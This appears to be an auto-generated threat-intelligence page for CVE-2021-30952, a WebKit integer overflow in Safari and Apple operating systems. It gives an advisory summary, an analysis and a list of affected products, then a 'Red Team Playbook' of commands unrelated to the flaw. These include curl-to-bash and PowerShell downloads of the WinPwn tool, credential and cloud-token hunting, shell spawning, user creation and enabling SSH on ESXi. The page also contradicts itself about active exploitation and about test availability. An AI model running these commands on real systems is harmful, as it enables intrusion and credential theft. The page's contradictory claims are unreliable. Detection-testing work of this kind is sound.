CVE-2021-30952
Overview
This vulnerability is an integer overflow caused by insufficient input validation in the processing of web content within Apple platforms. The root cause lies in improper handling of integer values that can wrap around during arithmetic operations, affecting the memory management routines of the web content processing engine. The flaw impacts multiple Apple operating systems, including watchOS, iOS, iPadOS, macOS, tvOS, and the Safari browser component.
Vulnerability Description
An integer overflow was addressed with improved input validation. This issue is fixed in tvOS 15.2, macOS Monterey 12.1, Safari 15.2, iOS 15.2 and iPadOS 15.2, watchOS 8.3. Processing maliciously crafted web content may lead to arbitrary code execution.
Impact
An attacker can execute arbitrary code by convincing a user to load specially crafted web content, requiring only user interaction to visit a malicious webpage. No prior authentication or elevated privileges are necessary. Successful exploitation can result in full compromise of the affected device’s web content process, potentially allowing unauthorized access to sensitive data, persistence on the device, or lateral movement within the user environment.
Solution
Apple addressed this vulnerability by improving input validation in watchOS 8.3, iOS/iPadOS 15.2, macOS Monterey 12.1, tvOS 15.2, and Safari 15.2. Users and administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at Apple’s official support pages: https://support.apple.com/en-us/HT212975, https://support.apple.com/en-us/HT212976, and https://support.apple.com/en-us/HT212978.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from an integer overflow issue that affects several Apple operating systems and applications, including Safari, iOS, macOS, and others. Integer overflow occurs when an arithmetic operation attempts to create a numeric value that exceeds the maximum limit that can be stored within a given data type. This flaw can lead to unexpected behavior, as it may allow an attacker to manipulate memory allocation and execute arbitrary code. The vulnerability was addressed through improved input validation, which is a critical step in preventing such exploits. However, the underlying nature of integer overflows means that they can be particularly insidious, as they may not always be easily detectable during routine testing.
Attack vectors for exploiting this vulnerability primarily involve the processing of maliciously crafted web content. An attacker could host a specially designed webpage that, when accessed via an affected browser, triggers the integer overflow. This could lead to arbitrary code execution on the victim's device, allowing the attacker to gain control over the system. Scenarios could include phishing attacks, where users are lured to the malicious site, or exploitation through compromised advertisements on legitimate websites. The potential for remote code execution significantly raises the stakes, as it could allow attackers to install malware, steal sensitive information, or even take over the entire device.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Apple products for their operations. A successful exploitation could lead to data breaches, loss of intellectual property, and significant financial repercussions. Organizations that handle sensitive customer data or proprietary information are especially at risk, as the consequences of a breach can include legal liabilities, regulatory fines, and reputational damage. Moreover, the high CVSS score of 8.8 indicates that this vulnerability poses a serious threat, emphasizing the need for immediate attention and remediation.
To effectively detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular software updates and patch management are essential, as the vulnerability has been addressed in recent versions of the affected products. Additionally, employing web application firewalls can help filter out malicious traffic and prevent exploitation attempts. Security awareness training for employees is also crucial, as it can reduce the likelihood of falling victim to phishing attacks that exploit this vulnerability. Monitoring network traffic for unusual patterns can further aid in early detection of potential exploitation attempts.
In conclusion, the integer overflow vulnerability affecting various Apple operating systems and applications represents a significant threat to both individual users and organizations. The potential for arbitrary code execution through malicious web content underscores the importance of robust security measures and proactive risk management strategies. By prioritizing timely updates, employing advanced security technologies, and fostering a culture of cybersecurity awareness, organizations can better protect themselves against the risks posed by this and similar vulnerabilities.
CVE-2021-30952 has recently been incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting a reassessment of its operational risk. This inclusion elevates the CVSS score from 0.0 to 8.8, indicating a high-severity classification that aligns with the vulnerability’s potential for arbitrary code execution via malicious web content. CSURFACE threat intelligence notes a corresponding increase in the Exploit Prediction Scoring System (EPSS) value, signaling a growing likelihood of exploitation attempts, although no confirmed active exploits have surfaced in our telemetry to date. The KEV listing underscores that this vulnerability is now formally recognized as a priority for mitigation within federal and critical infrastructure environments, which typically accelerates attacker interest and targeting efforts. While ransomware group involvement remains unconfirmed, the heightened profile and elevated risk score suggest defenders should anticipate increased adversary focus. Consequently, the threat level associated with CVE-2021-30952 has shifted from theoretical to imminent, warranting heightened vigilance despite the absence of new exploit details.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
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Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
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Fedoraproject | Fedora | 34 |
cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*
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Fedoraproject | Fedora | 35 |
cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*
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Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
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Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
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Webkitgtk | Webkitgtk | All |
cpe:2.3:a:webkitgtk:webkitgtk:*:*:*:*:*:*:*:*
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Wpewebkit | Wpe Webkit | All |
cpe:2.3:a:wpewebkit:wpe_webkit:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
45%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.